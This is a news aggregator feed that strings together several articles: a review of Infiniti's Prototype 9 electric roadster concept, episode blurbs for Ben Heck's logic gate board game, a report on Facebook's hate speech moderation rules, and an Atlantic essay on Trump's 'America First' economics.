The Infiniti Prototype 9 is the embodiment of feeling. A magnificent vehicle that takes design cues from the 1940s and creates a piece of art that exudes adventure. The car started off as a request to look into Infiniti’s (and parent company Nissan’s) past and find something that links it to today’s world.

Alfonso Albaisa, Infiniti senior vice president of global design looked back further than expected, to the grand prix races in 1940s Japan. “As soon as that hit, it kind of dominoed,” he said. What started as a sketch turned into foam mock-ups before passing through Nissan’s research center in Oppama — all built in seclusion. The automaker’s advanced engineering team also got in on the action, making it an electric vehicle. Employees from various departments all came together to work after hours to make the metal EV-racer a reality.

Typically when you see the early photos of a new car or concept vehicle it’s expected that it won’t look quite as good in reality. But when I saw the Prototype 9 on an abandoned runway in Alameda, California, I was taken aback by just how stunning it was in real life. I actually joked that I would trade a kidney for the car. I might have been half serious.

While I was there, the car was driven rather gingerly up and down the runway. The Prototype 9’s silent drivetrain a stark contrast to the roar of the vehicles it’s based on. Infiniti says the steel-framed car, wrapped in hammered steel panels, is capable of doing 105.6 miles per hour and will get from zero to 100 kilometers per hour (62 mph) in 5.5 seconds.

Neither of those benchmarks were shown off in Alameda and, frankly, those numbers only matter if Infiniti decides it’ll use the Prototype 9 as the basis for a new EV — and hopefully it’ll do just that. The Prototype 9 has been well received, so there’s a chance something like it will appear in showrooms in a few years. Electric cars need a new roadster, after all, the Tesla is getting long in the tooth and Elon Musk’s company now has its hands full with all those Model 3s it needs to build.

Infiniti’s current lineup lacks a convertible and its future (like the future of most automakers) is filled with SUVs and crossovers. People want big cars. They want to know that their raised station wagon could handle some off-roading should the opportunity ever present itself. But there’s still a market for a car without a top. The Mazda MX-5 Miata is proof of that.

While I wait for an EV without a roof I can actually buy, I was able to sit in the concept of one briefly. I wasn’t allowed to drive it; maybe they knew I’d leave and never return? Like nearly all race cars it’s too small for my tall frame. But I squeezed in, and it reminded me of the first time I drove my first car: A Datsun roadster with a horrible yellow paint job and a laundry list of problems. But I was instantly reminded of how much I loved that car at the time and the freedom it afforded me.

It’s ridiculous to assign emotions to an inanimate object, but that’s what we do with our cars. They’re our escape, or second home and, more importantly, an extension of ourselves. It’s going to be decades before autonomous cars take over the roads. Until that happens, let’s bask in the joy of driving and celebrate the art of cars like the Prototype 9 and hope that we get something similar from an automaker in the future. Just let’s hope it comes with more leg room.

Source: Infiniti

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]]> https://briefnews.eu/this-infiniti-ev-defies-all-logic-but-you-will-want-it-anyway/feed/ 0 Ben Heck’s Logic Gate board game: the finale https://briefnews.eu/ben-hecks-logic-gate-board-game-the-finale/ https://briefnews.eu/ben-hecks-logic-gate-board-game-the-finale/#respond Sun, 13 Aug 2017 13:55:49 +0000 http://briefnews.eu/ben-hecks-logic-gate-board-game-the-finale/

The team has had their troubles with the Logic Gate board game, so is it time to put it out to pasture? The group meets with Hari from element14 to help determine how much it would realistically cost to bring the product to market with the components used. Karen and Ben discuss the lessons learned from going from Hackmanji to a dedicated logic game. Do you think the team made some wrong decisions? Did they miss something obvious? Let us know over on the element14 Community.

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]]> https://briefnews.eu/ben-hecks-logic-gate-board-game-the-finale/feed/ 0 By Facebook’s Logic, Who Is Protected From Hate Speech? https://briefnews.eu/by-facebooks-logic-who-is-protected-from-hate-speech/ https://briefnews.eu/by-facebooks-logic-who-is-protected-from-hate-speech/#respond Sat, 01 Jul 2017 16:23:38 +0000 http://briefnews.eu/by-facebooks-logic-who-is-protected-from-hate-speech/ The social company’s rules for determining what constitutes a protected class doesn’t always allow for nuance.


https://media.wired.com/photos/595434f838978176dacc57bb/master/pass/FacebookCensorshipHP-134365781.jpg
Wired

]]> https://briefnews.eu/by-facebooks-logic-who-is-protected-from-hate-speech/feed/ 0 Report details Facebook’s bizarre logic on hate speech https://briefnews.eu/report-details-facebooks-bizarre-logic-on-hate-speech/ https://briefnews.eu/report-details-facebooks-bizarre-logic-on-hate-speech/#respond Wed, 28 Jun 2017 13:47:16 +0000 http://briefnews.eu/report-details-facebooks-bizarre-logic-on-hate-speech/

Facebook has more than two billion users, and ensuring that the discussion between them remains civil is an understandably difficult task. But, if evidence found by ProPublica is true, the company’s own policy on hate speech may cause unreasonable disparities in how comments are moderated. The report claims that Facebook has built a comment moderation policy that protects “white men from hate speech, but not black children.”

The social network has attempted to build a global ruleset of what does, and what does not, constitute hate speech. But the logic that it uses is likely to provoke outrage in users who feel that the company already fails to do enough to tackle radicalization.

On one hand, Facebook appears to believe that you cannot, or should not, criticize someone for the things that are out of their control. For instance, a slur made against someone’s race, gender, sexuality and religious affiliation, amongst others, would be marked for deletion. But those factors that are less central to identity — in Facebook’s eyes — are fair game for comment, such as a person’s social class, job, appearance, age or religion.

If that’s a little wooly, it may be easier to explain using a hypothetical situation in which the following statements were made:

  • “Let’s hunt and kill radicalized muslims, for the sake of all that is good and righteous.”
  • “Let’s hunt and kill all black children, for the sake of all that is good and righteous.”
  • “Let’s hunt and kill all white men, for the sake of all that is good and righteous.”

According to ProPublica’s report, the first two statements are considered fair comment because they only target a subsection of a group. Advocating the murder of the members of an entire race or religion would be protected, but a subset — the radicalized muslims, the black children — are not. The third statement, since it is targeting an entire race and gender, would be moderated off the platform.

One document sourced by ProPublica seems to ask moderators which groups “do we protect” from a list of female drivers, black children and white men. The answer is the final group, for the same logic that was outlined above, although it’s likely that many will be horrified that the sentiment was expressed at all.

Facebook’s head of global policy management, Monika Bickert, is quoted in the report, saying that its policies “do not always lead to perfect outcomes.” But Bickert stresses that the company’s rules need to apply to a “global community” with “very different ideas about what is OK to share.”

The report also accuses the company of drafting its comment rules in a way that favors businesses and governments against individual citizens. For instance, documents seen by ProPublica claim to encourage censorship of comments made that encourage resistance of “an internationally recognized state.” Facebook moderators have reportedly deleted posts from activists and journalists in a variety of disputed territories and authoritarian regimes.

Unfortunately for Facebook, this is the latest in a long series of scandals concerning how it deals with offensive and illegal content. Earlier this year, a trove of documents relating to its moderation policies was leaked, revealing that it will not delete violent language unless it presents a “credible” threat. The company also pledged to hire 3,000 extra moderators to help deal with extremist and violent content, although this may still not be enough. Facebook has not yet responded to a request for comment, although we expect an update on this story in the near future.

Source: ProPublica

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]]> https://briefnews.eu/report-details-facebooks-bizarre-logic-on-hate-speech/feed/ 0 Ben Heck’s Logic Gate board game: Finding a purpose https://briefnews.eu/ben-hecks-logic-gate-board-game-finding-a-purpose/ https://briefnews.eu/ben-hecks-logic-gate-board-game-finding-a-purpose/#respond Sun, 18 Jun 2017 11:04:40 +0000 http://briefnews.eu/ben-hecks-logic-gate-board-game-finding-a-purpose/

The team’s having trouble with the Logic Gate board game and needs your input. Behind all good games is a fun concept, whether it’s racking up points or solving puzzles. Now, the team needs help identifying what this could be for their Logic Gate board game. Also in this episode, Ben puts together the pieces for programming the LCD screen, getting it to display a set of logical operators, such as NOR, AND and OR, by setting up the hardware as a USB mass storage device to easily copy across the puzzles. As Karen and Ben debate the game’s purpose, you can head over to the element14 Community and share your own two cents.

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]]> https://briefnews.eu/ben-hecks-logic-gate-board-game-finding-a-purpose/feed/ 0 Ben Heck’s logic gate board game https://briefnews.eu/ben-hecks-logic-gate-board-game/ https://briefnews.eu/ben-hecks-logic-gate-board-game/#respond Sun, 02 Apr 2017 13:31:01 +0000 http://briefnews.eu/ben-hecks-logic-gate-board-game/

With any product, it’s always important to get the major decisions out of the way first. Who’s the intended audience? What will it look like? How can we make it portable? And, most importantly, how do we keep the cost down? Join Karen and Ben as they plan out the their logic gate board game. As seasoned as they are, though, the duo could still use your help. What size do you think the game should be, and can you recommend a suitable LCD screen and microcontroller to use with it? You can get a feel for the direction the game is headed, thanks to the prototypes Karen and Ben have mocked up using the PIC microcontroller and ChipKit. Let the team know your ideas over on the element14 Community, where you can be part of the build.

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]]> https://briefnews.eu/ben-hecks-logic-gate-board-game/feed/ 0 The Appealing Logic That Underlies Trump’s Economic Ideas https://briefnews.eu/the-appealing-logic-that-underlies-trumps-economic-ideas/ https://briefnews.eu/the-appealing-logic-that-underlies-trumps-economic-ideas/#respond Wed, 15 Mar 2017 16:23:40 +0000 http://briefnews.eu/the-appealing-logic-that-underlies-trumps-economic-ideas/ For years, whenever people have seen their livelihoods vanish, politicians have told them to “move to opportunity” or to “get more skills and work harder.” Embedded in their message is the assumption that there is no way to stop the market’s force, and that the best people can do is to fight for their tiny share.

President Trump rejects this. For him, the way to create economic prosperity is to “follow two simple rules: buy American and hire American”—a line he has deployed many times with small variations, including in his address before Congress, and that he has echoed in preparing for his visit to Michigan Wednesday to meet with automakers. This is a combination of old-fashioned mercantilism and the bully pulpit: We will put Americans first, and we will do so by shaming and luring companies into building and hiring here. Part of the appeal is Trump’s can-do attitude: Nobody else can save you; I alone can save you.

While Trump’s economic doctrine may fall apart when it comes to the specifics, which in the end is the only measure that will really matter, there is a certain undeniable logic to it. It answers the core question that millions have about economic policy over the past three decades or so: What about me? Instead of saying, “Just wait—this will all work out in the end,” the Trump economic doctrine delivers an emotionally and psychologically satisfying response: You first.

What is most striking about this economic doctrine is how dramatically it departs from policymakers’ longstanding economic ideas. Trump is entirely nationalistic in his outlook. As Trump put it in his inaugural address, “At the bedrock of our politics will be a total allegiance to the United States of America, and through our loyalty to our country, we will rediscover our loyalty to each other.” By contrast, consensus among the owners of multinational businesses and politicians has been that the path to prosperity lies in promoting global trade and transnational economic integration. The core theory that Trump offers—and his departure from years of prevailing economic doctrine—is that he can lead the way to something else. Globalism is not inevitable, nor are the accompanying job losses. (Full disclosure: I served as the chief economist to the Clinton-Kaine transition team.)

The globalist consensus emerged out of the Second World War, when a recognition emerged that the “beggar thy neighbor” policies of the 1920s and ‘30s created the economic conditions that assisted the rise of fascism and, eventually, exploded into global war. Additionally, there was a hope that countries bound by mutually beneficial economic relationships would be at peace, building on the ideas of the philosopher Immanuel Kant, who 150 years earlier said, “It is the spirit of commerce that sooner or later takes hold of every nation, and is incompatible with war.” This is echoed in the statement of the French Foreign Minister Robert Schuman in 1950 when proposing the European Coal and Steel Community: “The solidarity in production thus established will make it plain that any war between France and Germany becomes not merely unthinkable, but materially impossible.”

Thus, before World War II was even over, 44 allied nations came together in Bretton Woods, New Hampshire, to craft a new, peaceful, economic order to be benevolently overseen by an International Monetary Fund to guide currencies, a World Bank to coordinate investment and development, and a General Agreement on Tariffs and Trade (the precursor to the World Trade Organization) to reduce tariffs and promote international commerce. A decade later Europeans began to pursue their own economic integration through the establishment of the Common Market, which later became the European Union.

The decades since have delivered what the economist and columnist Paul Krugman called in a recent talk “hyper-globalization.” The share of exports as a percent of the U.S.’s gross domestic product has risen from about 13 percent in 1960 up to 30 percent by the mid-aughts. And globalization goes way beyond companies exporting finished goods from one corner of the globe to another. The biggest firms are now multinationals with sophisticated—and complicated and fragile—supply chains that span the globe and locate production where it makes sense either based on costs or on proximity to market information. (And, as the economist Sue Helper points out, this logic applies within as well as between countries: Increasingly, firms “outsource” by relocating from one state to another, often pitting communities into direct competition with each other.)

Hyper-globalization has generated enormous gains in global wealth and lowered consumer prices. The past generation has seen large reductions in global poverty, especially in China, which now has a middle class. Branko Milanovic, an economist at the Graduate Center at the City University of New York, and his colleagues have documented that, between 1988 and 2012, the earnings of the broad middle of the global economy (those with incomes between the bottom 10 percent and the top 30) have risen by between 40 percent and 66 percent—the fastest generation of growth for the global middle of any time in history.

Yet, as is widely known and discussed, millions of middle-class Americans were left behind as the world’s economy grew. Contrary to what economists’ models assumed would happen, communities that have bore the brunt of the costs of offshoring have not been made whole. The United States is not alone in this trend. Many developed economies have seen only those at the top benefit from economic growth. In the United States, as Thomas Piketty, Emmanuel Saez, and Gabriel Zucman have documented, between 1980 and 2014, pre-tax income per adult grew by 61 percent, but the bottom 50 percent experienced only 1-percent growth in their incomes. Those in the top 1 percent scored 205-percent income growth.

Trump and Clinton (and Sanders) all sought to address this rising economic inequality. Clinton focused on “Stronger Together”—a slogan that echoes those globalist ideas. Trump looked at the same situation and said, “America First.” To say nothing of the economic merits of this idea, it at the very least responds to the real sense that people have that they are being left behind.

There is a dark side to America First, of course, starting with its Nazi-sympathizer echoes. And as much as this approach may have certain economic appeal, its consequences for issues such as immigration and foreign aid will be inhumane. America First, it turns out, doesn’t mean “everybody else next,” but rather “everybody else not at all.”

In his first few weeks in office, Trump has shown how America First will look in practice, bullying a handful of manufacturers into at least saying that they will create jobs in the United States. One theory, shared by many of his supporters, is that Trump can do this because he is a businessman. He knows that business leaders have control. He knows that when they say, like Carrier did, that they “have no option” but to locate to Mexico, this is a lie. And when Carrier changed its plans, the company made the case that progressives have made for generations: Businesses have the wherewithal to make decisions and act; they are not merely subservient to the market.

This is a flat-out rejection of the foundations of supply-side, trickle-down economics. This is the opposite of claiming that government must get out of the way of business leaders’ decision-making process and firms’ profit-maximization efforts. Donald Trump understands business and so can pick up the phone and convince businesses that they need to act in the national interest—or else. He will make sure that acting in the national interest is in their economic interest.

This is largely reality-TV theater. In practice, it seems that Trump will forge ahead with policies very much in line with old-school supply-side economics and counter to existing economic evidence. This includes the standard litany of ideas—massive tax cuts for the wealthy, rolling back the regulatory frameworks designed to rein in the worst of the financial sector, privatizing and cutting health care, removal of consumer protections—as well as a focus on carbon-intensive energy production. Each of these ensure that firms have greater leeway to make a dollar with less oversight and intervention. It also enables corporations that have monopoly power to keep a tight grip, elbowing out the competition and continuing to garner an outsized share of the economic pie.

Trump is right to focus on the creation of jobs domestically—the economy is so broken by years of policymakers looking abroad for the means to prosperity rather than figuring out how to deliver to communities across the country. But it is hard to imagine how “America First” plays out in a world in which America’s largest firms are global, not national. Multinational firms don’t seem to feel particularly allegiant to any country. They spend a great deal of energy finding ways to avoid paying taxes to any national government. And, as the economist Gabriel Zucman has documented in his book The Hidden Wealth of Nations, about 8 percent of households’ global financial wealth is hidden offshore, untaxed by any government. Over the past 40 years, the state has become less able to tax and regulate global capital.

The corporate headquarters of the largest U.S. firms are not embedded within the communities that voted for Trump. Will a phone call from the president be sufficient to change their business plans? And what if those communities have been left behind for good business reasons—such as a chronic underinvestment in schools to train workers-to-be, in world-class infrastructure, or in easy access to markets?

Some political scientists have argued that Trump’s election represents, as Vox put it, “the last gasp of the incumbent era.” In this view, developed by Yale’s Stephen Skowronek, such a “disjunctive” presidency occurs when one regime-cycle has run its course but another has yet to ascend. These presidents tend to be outsiders. While elected by one party, they are not tied to that party’s ideology. Trump may not be able to deliver on his promises, but there are plenty of good reasons for him to have made them.


Business | The Atlantic

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